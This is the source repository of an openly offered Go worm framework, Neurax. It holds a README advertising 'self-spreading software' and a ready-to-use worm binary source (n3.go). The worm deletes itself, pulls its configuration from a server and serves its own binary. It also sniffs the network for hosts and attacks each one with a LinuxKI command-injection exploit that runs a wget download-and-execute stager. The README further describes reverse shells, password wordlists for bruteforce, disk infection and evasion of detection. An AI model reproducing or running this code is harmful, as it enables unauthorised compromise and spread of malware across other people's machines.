├── LICENSE
├── N.2.X
├── config.json
├── go.mod
├── go.sum
└── n3.go
├── README.md
├── go.mod
├── go.sum
├── neurax.go
├── neurax.png
└── passwd.go
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2020 redcodelabs.io
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/N.2.X/config.json:
--------------------------------------------------------------------------------
1 | {
2 | "port": 5555,
3 | "passive_scan_timeout" : 200,
4 | "filename" : "PDWH_PKZCDM",
5 | "savepath" : ".robal",
6 | "scan_arp_only" : false,
7 | "config_refresh" : 60,
8 | "remove" : true,
9 | "adaptive_shell" : false
10 | }
11 |
--------------------------------------------------------------------------------
/N.2.X/go.mod:
--------------------------------------------------------------------------------
1 | module n3.go
2 |
3 | go 1.18
4 |
5 | require (
6 | github.com/google/gopacket v1.1.19
7 | github.com/zbiljic/go-filelock v0.0.0-20170914061330-1dbf7103ab7d
8 | )
9 |
10 | require golang.org/x/sys v0.0.0-20190412213103-97732733099d // indirect
11 |
--------------------------------------------------------------------------------
/N.2.X/go.sum:
--------------------------------------------------------------------------------
1 | github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8=
2 | github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo=
3 | github.com/zbiljic/go-filelock v0.0.0-20170914061330-1dbf7103ab7d h1:XQyeLr7N9iY9mi+TGgsBFkj54+j3fdoo8e2u6zrGP5A=
4 | github.com/zbiljic/go-filelock v0.0.0-20170914061330-1dbf7103ab7d/go.mod h1:hoMeDjlNXTNqVwrCk8YDyaBS2g5vFfEX2ezMi4vb6CY=
5 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
6 | golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
7 | golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
8 | golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
9 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
10 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859 h1:R/3boaszxrf1GEUWTVDzSKVwLmSJpwZ1yqXm8j0v2QI=
11 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
12 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
13 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
14 | golang.org/x/sys v0.0.0-20190412213103-97732733099d h1:+R4KGOnez64A81RvjARKc4UT5/tI9ujCIVX+P5KiHuI=
15 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
16 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
17 | golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
18 | golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
19 |
--------------------------------------------------------------------------------
/N.2.X/n3.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "fmt"
5 | "bytes"
6 | "time"
7 | "os"
8 | "log"
9 | "unsafe"
10 | //"errors"
11 | "net"
12 | "net/http"
13 | "io/ioutil"
14 | "encoding/json"
15 | "github.com/google/gopacket"
16 | "github.com/google/gopacket/layers"
17 | "github.com/google/gopacket/pcap"
18 | "github.com/zbiljic/go-filelock"
19 | )
20 |
21 | type Config struct {
22 | port int
23 | filename string
24 | savepath string
25 | passive_scan_timeout int
26 | scan_arp_only bool
27 | remove bool
28 | config_refresh int
29 | adaptive_shell bool
30 | }
31 |
32 | var worm_file []byte
33 | var conf Config
34 | var raw_conf_file string
35 |
36 | var conf_server_addr = "http://127.0.0.1:5555"
37 | var smask = "255.255.255.255"
38 | var stc = 0
39 |
40 | func SetNilOnIf(v *interface{}) {
41 | *v = nil
42 | }
43 | func setNilPtr(p unsafe.Pointer) {
44 | *(**int)(p) = nil
45 | }
46 |
47 | func UpdateSTC(){
48 | if conf.remove {
49 |
50 | }
51 | }
52 |
53 | func PopulateWormFile(){
54 | var err error
55 | worm_file, err = os.ReadFile(os.Args[0])
56 | if err != nil {
57 | //os.Exit(stc)
58 | }
59 | }
60 |
61 | func RemoveWormFile(){
62 | os.Remove(os.Args[0])
63 | }
64 |
65 | func DownloadConfig() {
66 | resp, err := http.Get(conf_server_addr)
67 | if err != nil {
68 | log.Fatal(err)
69 | }
70 | defer resp.Body.Close()
71 | body, err := ioutil.ReadAll(resp.Body)
72 | if err != nil {
73 | log.Fatal(err)
74 | }
75 | raw_conf_file = string(body)
76 | }
77 |
78 | func PopulateConfig(){
79 | json.Unmarshal([]byte(raw_conf_file), &conf)
80 | }
81 |
82 | func ConfigDownloader(){
83 | for {
84 | DownloadConfig()
85 | go PopulateConfig()
86 | time.Sleep(time.Duration(conf.config_refresh)*time.Second)
87 | }
88 | }
89 |
90 | func SingleExecLock(){
91 | nflck, _ := filelock.New(".nflck")
92 | //var lck filelock.TryLockerSafe
93 | err := nflck.Lock()
94 | if err != nil {
95 | os.Exit(1)
96 | }
97 | defer nflck.Unlock()
98 | }
99 |
100 | func ServeItself(){
101 | addr := fmt.Sprintf(":%d", conf.port)
102 | go http.ListenAndServe(addr, http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {
103 | go http.ServeContent(rw, r, conf.filename, time.Now(), bytes.NewReader(worm_file))
104 | }))
105 | }
106 |
107 | func GetLocalIp() string {
108 | conn, _ := net.Dial("udp", "8.8.8.8:80")
109 | defer conn.Close()
110 | ip := conn.LocalAddr().(*net.UDPAddr).IP
111 | return fmt.Sprintf("%d.%d.%d.%d", ip[0], ip[1], ip[2], ip[3])
112 | }
113 |
114 | func CreateWormServerURL() string {
115 | return fmt.Sprintf("http://%s:%d/%s", GetLocalIp(), conf.port, conf.filename)
116 | }
117 |
118 | func Stager() string {
119 | return fmt.Sprintf("wget -O %s %s && chmod +x %s && ./%s && rm %s",
120 | conf.savepath, CreateWormServerURL(),
121 | conf.savepath, conf.savepath, conf.savepath)
122 | }
123 |
124 | func ExploitLinuxKI(target string){
125 | http_ports := []string{"80", "8080", "8888"}
126 | vulnerable_path := "/linuxki/experimental/vis/kivis.php?type=kitrace&pid=15;" + Stager()
127 | for _, port := range http_ports {
128 | url := fmt.Sprintf("http://%s:%s/%s", target, port, vulnerable_path)
129 | http.Get(url)
130 | }
131 | }
132 |
133 | func HarvestHostsFromInterface(f func(string), iface string) {
134 | var snapshot_len int32 = 1024
135 | timeout := time.Duration(conf.passive_scan_timeout) * time.Second
136 | handler, _ := pcap.OpenLive(iface, snapshot_len, false, timeout)
137 | if conf.scan_arp_only {
138 | handler.SetBPFFilter("arp")
139 | }
140 | defer handler.Close()
141 | packetSource := gopacket.NewPacketSource(handler, handler.LinkType())
142 | for packet := range packetSource.Packets() {
143 | ip_layer := packet.Layer(layers.LayerTypeIPv4)
144 | if ip_layer != nil {
145 | ip, _ := ip_layer.(*layers.IPv4)
146 | source := fmt.Sprintf("%s", ip.SrcIP)
147 | destination := fmt.Sprintf("%s", ip.DstIP)
148 | if source != GetLocalIp() && source != smask {
149 | go f(source)
150 | }
151 | if destination != GetLocalIp() && destination != smask {
152 | go f(destination)
153 | }
154 | }
155 | }
156 | }
157 |
158 | func InitPassiveScan(f func(string)) {
159 | device_names := []string{}
160 | devices, err := pcap.FindAllDevs()
161 | if err != nil {
162 | panic(err)
163 | }
164 | for _, dev := range devices {
165 | device_names = append(device_names, dev.Name)
166 | }
167 | for _, device := range device_names {
168 | go HarvestHostsFromInterface(f, device)
169 | }
170 | }
171 |
172 | func AdaptiveShell(){
173 |
174 | }
175 |
176 | func main(){
177 | SingleExecLock()
178 | PopulateWormFile()
179 | RemoveWormFile()
180 | go ConfigDownloader()
181 | ServeItself()
182 | if conf.adaptive_shell {
183 | go AdaptiveShell()
184 | }
185 | InitPassiveScan(ExploitLinuxKI)
186 | }
187 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | A framework that aids in creation of self-spreading software
9 |
10 |
11 |
12 | ## Overview
13 | With help of Neurax, Golang binaries can spread on LAN/WAN without using any external servers.
14 |
15 | Diverse config options and command stagers allow rapid propagation across various wireless environments.
16 |
17 |
18 | ## Example code
19 |
20 | ```go
21 | package main
22 | import . "github.com/redcode-labs/Neurax"
23 |
24 | func main(){
25 |
26 | //Specify serving port and stager to use
27 | Nrx.Config.Port = 5555
28 | Nrx.Config.Stager = "wget"
29 |
30 | //Start a server that exposes the current binary in the background
31 | go NeuraxServer()
32 |
33 | //Copy current binary to all logical drives
34 | NeuraxDisks()
35 |
36 | //Create a command stager that should be launched on target machine
37 | //It will download, decode and execute the binary
38 | cmd_stager := NeuraxStager()
39 |
40 | /* Now you have to somehow execute the command generated above.
41 | You can use SSH bruteforce, some RCE or whatever else you want ;> */
42 |
43 | }
44 | ```
45 |
46 | ## New in v. 2.X (separate sub-project)
47 | - Refactor: abandoned framework-like approach in favour of a ready-to-use binary
48 | - Generic wget stager for all UNIX targets
49 | - Single config file to tweak worm's behaviour on the fly
50 | - Automatic self-removal via `unlinkat(2)`
51 | - Example LinuxKI CVE exploit to supplement network spreading capabilities
52 | - JSON config file is downloaded and evaluated
53 | - Minimalistic re-write of host harvester
54 |
55 | ## New in v. 2.5
56 | - Optional background execution of the second-stage binary (`N.StagerBg`)
57 | - Command stager saves and executes in context-local path
58 | - It also removes the downloaded binary right after successful execution
59 | - Removed synchronized command execution mechanism for speed/stability reasons.
60 | I will come up with a decent alternative prior to next release.
61 | - `N.NoInfectCheck` to disable checking if host is already infected.
62 | - Single-execution policy on target machine, enforced with an exclusive file mutex placed inside `NeuraxServer()`.
63 | - Added a nested goroutine for serving the binary
64 | - New `httrack` stager for Linux
65 | - Commented-out common wordlist for detection evasion
66 | - Command stager can wait before removing the binary (`N.StagerRemovalDelay`)
67 |
68 | ## New in v. 2.0
69 | - New wordlist mutators + common passwords by country
70 | - Improvised passive scanning
71 | - `.FastScan` option that makes active scans a bit quicker
72 | - Wordlists are created strictly in-memory
73 | - `NeuraxScan()` accepts a callback function instead of channel as an argument.
74 | - `NeuraxScan()` scans in infinite loop with possibility to set interval between each scan of whole subnet/pool of targets
75 | - Reverse-DNS lookup for targets that are not in IP format
76 | - Extraction of target candidates from ARP cache
77 | - Possibility to scan only a selected list of targets + prioritizing specific targets (such as default gateways)
78 | - Possibility to specify interface and timeout when using passive network scan.
79 | - Improved command stager (can be optionally executed with elevated privileges / multiple times)
80 | - Few changes of options' names
81 | - `NeuraxConfig.` became `N.` (cause it's shorter to type)
82 | - Functions for random memory allocation + binary migration
83 | - Possibility to chain multiple stagers (ex. `wget` + `curl`)
84 | - Volume and complexity of created wordlist can be easily tuned (with options such as `.WordlistExpand`)
85 | - Possibility to set time-to-live of created binary
86 |
87 |
88 | ### List of config entries
89 |
90 | Name | Description | Default value
91 | --- | --- | ---
92 | Nrx.Config.Stager | Name of the command stager to use | `random, platform-compatible`
93 | Nrx.Config.StagerSudo | If true, Linux cmd stagers are executed with elevated privilleges | `false`
94 | Nrx.Config.StagerRetry | Number of times to re-execute the command stager | `0`
95 | Nrx.Config.StagerRemoveDelay | Sleep instruction is applied before removing the downloaded binary | `true`
96 | Nrx.Config.Port | Port to serve on | `6741`
97 | Nrx.Config.Platform | Platform to target | `detected automatically`
98 | Nrx.Config.Path | The path under which binary is saved on the host | `.`
99 | Nrx.Config.FileName | Name under which downloaded binary should be served and then saved | `random`
100 | Nrx.Config.Base64 | Encode the transferred binary in base64 | `false`
101 | Nrx.Config.CommPort | Port that is used by binaries to communicate with each other | `7777`
102 | Nrx.Config.CommProto | Protocol for communication between nodes | `"udp"`
103 | Nrx.Config.ReverseListener | Contains `":"` of remote reverse shell handler | `not specified`
104 | Nrx.Config.ReverseProto | Protocol to use for reverse connection | `"udp"`
105 | Nrx.Config.ScanRequiredPort | NeuraxScan() treats host as active only when it has a specific port opened| `none`
106 | Nrx.Config.ScanPassive | NeuraxScan() detects hosts using passive ARP traffic monitoring | `false`
107 | Nrx.Config.ScanPassiveTimeout | NeuraxScan() monitors ARP layer this amount of seconds | `50 seconds`
108 | Nrx.Config.ScanPassiveIface | Interface to use when scanning passively| `default`
109 | Nrx.Config.ScanActiveTimeout | NeuraxScan() sets this value as timeout for scanned port in each thread | `2 seconds`
110 | Nrx.Config.ScanPassiveAll | NeuraxScan() captures packets on all found devices | `false`
111 | Nrx.Config.ScanPassiveNoArp | Passive scan doesn't set strict ARP capture filter | `false`
112 | Nrx.Config.ScanFirst | A slice containing IP addresses to scan first | `[]string{}`
113 | Nrx.Config.ScanFirstOnly | NeuraxScan() scans only hosts specified within `.ScanFirst`| `false`
114 | Nrx.Config.ScanArpCache | NeuraxScan() scans first the hosts found in local ARP cache. Works only with active scan | `false`
115 | Nrx.Config.ScanCidr | NeuraxScan() scans this CIDR | `local IP + "\24"`
116 | Nrx.Config.ScanActiveThreads | Number of threads to use for NeuraxScan() | `10`
117 | Nrx.Config.ScanFullRange | NeuraxScan() scans all ports of target host to determine if it is active | `from 19 to 300`
118 | Nrx.Config.ScanInterval | Time interval to sleep before scanning whole subnet again | `"2m"`
119 | Nrx.Config.ScanHostInterval | Time interval to sleep before scanning next host in active mode | `"none"`
120 | Nrx.Config.ScanGatewayFirst | Gateway is the first host scanned when active scan is used | `false`
121 | Nrx.Config.Verbose | If true, all error messages are printed to STDOUT | `false`
122 | Nrx.Config.Remove | When any errors occur, binary removes itself from the host | `false`
123 | Nrx.Config.PreventReexec | If true, when any command matches with those that were already received before, it is not executed | `true`
124 | Nrx.Config.WordlistExpand | NeuraxWordlist() performs non-standard transformations on input words | false
125 | Nrx.Config.WordlistCommon | Prepend 20 most common passwords to wordlist | `false`
126 | Nrx.Config.WordlistCommonNum | Number of common passwords to use | `all`
127 | Nrx.Config.WordlistCommonCountries| A map[string]int that contains country codes and number of passwords to use| map[string]int
128 | Nrx.Config.WordlistMutators | Mutators to use when `.WordlistExpand` is specified | `{"single_upper", "cyryllic", "encapsule"}`
129 | Nrx.Config.WordlistPermuteNum | Maximum length of permutation generated by NeuraxWordlistPermute()| `2`
130 | Nrx.Config.WordlistPermuteSeparator | A separator character to use for permutations | `"-"`
131 | Nrx.Config.WordlistShuffle | Shuffle generated wordlist before returning it | `false`
132 | Nrx.Config.AllocNum | This entry defines how many times `NeuraxAlloc()` allocates random memory| `5`
133 | Nrx.Config.Blacklist | Slice that contains IP addresses that are excluded from any type of scanning | `[]string{}`
134 | Nrx.Config.FastHTTP | HTTP request in IsHostInfected() is performed using fasthttp library | `false`
135 | Nrx.Config.Debug | Enable debug messages | `false`
136 | Nrx.Config.NoInfectCheck | Disable checking if host is already infected | `true`
137 |
138 | ### Finding new targets
139 | Function `NeuraxScan(func(string))` enables detection of active hosts on local network.
140 | It's only argument is a callback function that is called in background for every active host.
141 | Host is treated as active when it has at least 1 open port, is not already infected + fullfils conditions specified within `N.`
142 |
143 | `NeuraxScan()` runs as infinite loop - it scans whole subnet specified by `.Cidr` config entry and when every host is scanned, function sleeps for an interval given in `.ScanInterval`.
144 |
145 | ### Disks infection
146 | Neurax binary doesn't have to copy itself using wireless means.
147 | Function `NeuraxDisks()` copies current binary (under non-suspicious name) to all logical drives that were found.
148 | Copied binary is not executed, but simply resides in it's destination waiting to be run.
149 | `NeuraxDisks()` returns an `error` if list of disks cannot be obtained or copying to any destination was impossible.
150 |
151 | Another function, `NeuraxZIP(num_files int) err` allows to create a randomly named .zip archive containing current binary.
152 | It is saved in current directory, and contains up to `num_files` random files it.
153 |
154 | `NeuraxZIPSelf()` simply zips the current binary, creating an archive holding the same name.
155 |
156 | ### Reverse connections
157 | An interactive reverse shell can be established with `NeuraxReverse()`.
158 | It will receive commands from hostname specified inside `.ReverseListener` in a form of `":"`.
159 | Protocol that is used is defined under `.ReverseProto`
160 | If `NeuraxOpenComm()` was started before calling this function, each command will behave as described in above section.
161 | If it was not, commands will be executed locally.
162 |
163 | Note: this function should be also runned as goroutine to prevent blocking caused by infinite loop used for receiving.
164 |
165 | ### Cleaning up
166 | Whenever `"purge"` command is received by a node, it resends this command to all other nodes, removes itself from host and quits.
167 | This behaviour can be also commenced using `NeuraxPurge()` executed somewhere in the source.
168 |
169 | ### Wordlist creation
170 | If spread vector of your choice is based on some kind of bruteforce, it is good to have a proper wordlist prepared.
171 | Storing words in a text-file on client side isn't really effective, so you can mutate a basic wordlist using `NeuraxWordlist(...words) []string`.
172 | To permute a set of given words, use `NeuraxWordlistPermute(..words) []string`
173 |
174 | ### Setting time-to-live
175 | If you want your binary to remove itself after given time, use `NeuraxSetTTL()` at the beginnig of your code.
176 | This function should be launched as a goroutine.
177 | For example:
178 |
179 | `go NeuraxSetTTL("2m")`
180 |
181 | will make the binary run `NeuraxPurgeSelf()` after 2 minutes from initial execution.
182 |
183 | ### Using multiple stagers at once
184 | If you would like to chain all stagers available for given platform, set `.Stager` to `"chain"`.
185 |
186 | ### Moving the dropped binary
187 | If you need to copy the binary after initial execution, use `NeuraxMigrate(path string)`.
188 | It will copy the binary under `path`, remove current binary and execute newly migrated one.
189 |
190 |
191 | ## Support this tool
192 | If you like this project and want to see it grow, please consider making a small donation :>
193 |
194 | [ >>>>> DONATE <<<<<](https://paypal.me/redcodelabs?locale.x=pl_PL)
195 |
196 | ## License
197 | This software is under [MIT license](https://en.wikipedia.org/wiki/MIT_License)
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/redcode-labs/Neurax
2 |
3 | go 1.16
4 |
5 | require (
6 | github.com/anvie/port-scanner v0.0.0-20180225151059-8159197d3770
7 | github.com/google/gopacket v1.1.19
8 | github.com/mostlygeek/arp v0.0.0-20170424181311-541a2129847a
9 | github.com/redcode-labs/Coldfire v0.0.0-20210817224707-ed9e88190bc7
10 | github.com/valyala/fasthttp v1.29.0
11 | github.com/yelinaung/go-haikunator v0.0.0-20150320004105-1249cae259af
12 | github.com/zbiljic/go-filelock v0.0.0-20170914061330-1dbf7103ab7d
13 | )
14 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/andybalholm/brotli v1.0.2 h1:JKnhI/XQ75uFBTiuzXpzFrUriDPiZjlOSzh6wXogP0E=
2 | github.com/andybalholm/brotli v1.0.2/go.mod h1:loMXtMfwqflxFJPmdbJO0a3KNoPuLBgiu3qAvBg8x/Y=
3 | github.com/anvie/port-scanner v0.0.0-20180225151059-8159197d3770 h1:1KEvfMGAjISVzk3Ti6pfaOgtoC3naoU0LfiJooZDNO8=
4 | github.com/anvie/port-scanner v0.0.0-20180225151059-8159197d3770/go.mod h1:QGzdstKeoHmMWwi9oNHZ7DQzEj9pi7H42171pkj9htk=
5 | github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
6 | github.com/fatih/color v1.12.0 h1:mRhaKNwANqRgUBGKmnI5ZxEk7QXmjQeCcuYFMX2bfcc=
7 | github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
8 | github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
9 | github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8=
10 | github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo=
11 | github.com/jackpal/gateway v1.0.7 h1:7tIFeCGmpyrMx9qvT0EgYUi7cxVW48a0mMvnIL17bPM=
12 | github.com/jackpal/gateway v1.0.7/go.mod h1:aRcO0UFKt+MgIZmRmvOmnejdDT4Y1DNiNOsSd1AcIbA=
13 | github.com/klauspost/compress v1.13.4 h1:0zhec2I8zGnjWcKyLl6i3gPqKANCCn5e9xmviEEeX6s=
14 | github.com/klauspost/compress v1.13.4/go.mod h1:8dP1Hq4DHOhN9w426knH3Rhby4rFm6D8eO+e+Dq5Gzg=
15 | github.com/matishsiao/goInfo v0.0.0-20200404012835-b5f882ee2288 h1:cdM7et8/VlNnSBpq3KbyQWsYLCY0WsB7tvV8Fr0DUNE=
16 | github.com/matishsiao/goInfo v0.0.0-20200404012835-b5f882ee2288/go.mod h1:yLZrFIhv+Z20hxHvcZpEyKVQp9HMsOJkXAxx7yDqtvg=
17 | github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8=
18 | github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
19 | github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
20 | github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
21 | github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y=
22 | github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
23 | github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc=
24 | github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN3nvg8Pg=
25 | github.com/mostlygeek/arp v0.0.0-20170424181311-541a2129847a h1:AfneHvfmYgUIcgdUrrDFklLdEzQAvG9AKRTe1x1mx/0=
26 | github.com/mostlygeek/arp v0.0.0-20170424181311-541a2129847a/go.mod h1:jZxafo9CAqaKFQE4zitrg5QNlA6CXUsjwXPlIppF3tk=
27 | github.com/redcode-labs/Coldfire v0.0.0-20210817224707-ed9e88190bc7 h1:rfN4lS4OcJg/+Vn372wVNcf8phs7eYVIpk/tYcgjGec=
28 | github.com/redcode-labs/Coldfire v0.0.0-20210817224707-ed9e88190bc7/go.mod h1:buh7ehR7oHyb5Ytiu/nfWtVdCxTXkDzcTgE/Gz6P9P4=
29 | github.com/savaki/jq v0.0.0-20161209013833-0e6baecebbf8 h1:ajJQhvqPSQFJJ4aV5mDAMx8F7iFi6Dxfo6y62wymLNs=
30 | github.com/savaki/jq v0.0.0-20161209013833-0e6baecebbf8/go.mod h1:Nw/CCOXNyF5JDd6UpYxBwG5WWZ2FOJ/d5QnXL4KQ6vY=
31 | github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw=
32 | github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc=
33 | github.com/valyala/fasthttp v1.29.0 h1:F5GKpytwFk5OhCuRh6H+d4vZAcEeNAwPTdwQnm6IERY=
34 | github.com/valyala/fasthttp v1.29.0/go.mod h1:2rsYD01CKFrjjsvFxx75KlEUNpWNBY9JWD3K/7o2Cus=
35 | github.com/valyala/tcplisten v1.0.0/go.mod h1:T0xQ8SeCZGxckz9qRXTfG43PvQ/mcWh7FwZEA7Ioqkc=
36 | github.com/yelinaung/go-haikunator v0.0.0-20150320004105-1249cae259af h1:q8vvhFu/wCz94XJxzF0hCzfNxIb6E+dTRIsh9vsWAsI=
37 | github.com/yelinaung/go-haikunator v0.0.0-20150320004105-1249cae259af/go.mod h1:jGDZu6LyiOPbvJqHW0320zIqCODGq8zYdVS0ZE6Jlso=
38 | github.com/zbiljic/go-filelock v0.0.0-20170914061330-1dbf7103ab7d h1:XQyeLr7N9iY9mi+TGgsBFkj54+j3fdoo8e2u6zrGP5A=
39 | github.com/zbiljic/go-filelock v0.0.0-20170914061330-1dbf7103ab7d/go.mod h1:hoMeDjlNXTNqVwrCk8YDyaBS2g5vFfEX2ezMi4vb6CY=
40 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
41 | golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
42 | golang.org/x/crypto v0.0.0-20210513164829-c07d793c2f9a/go.mod h1:P+XmwS30IXTQdn5tA2iutPOUgjI07+tq3H3K9MVA1s8=
43 | golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
44 | golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
45 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
46 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
47 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
48 | golang.org/x/net v0.0.0-20210510120150-4163338589ed h1:p9UgmWI9wKpfYmgaV/IZKGdXc5qEK45tDwwwDyjS26I=
49 | golang.org/x/net v0.0.0-20210510120150-4163338589ed/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
50 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
51 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
52 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
53 | golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
54 | golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
55 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
56 | golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
57 | golang.org/x/sys v0.0.0-20210514084401-e8d321eab015 h1:hZR0X1kPW+nwyJ9xRxqZk1vx5RUObAPBdKVvXPDUH/E=
58 | golang.org/x/sys v0.0.0-20210514084401-e8d321eab015/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
59 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
60 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
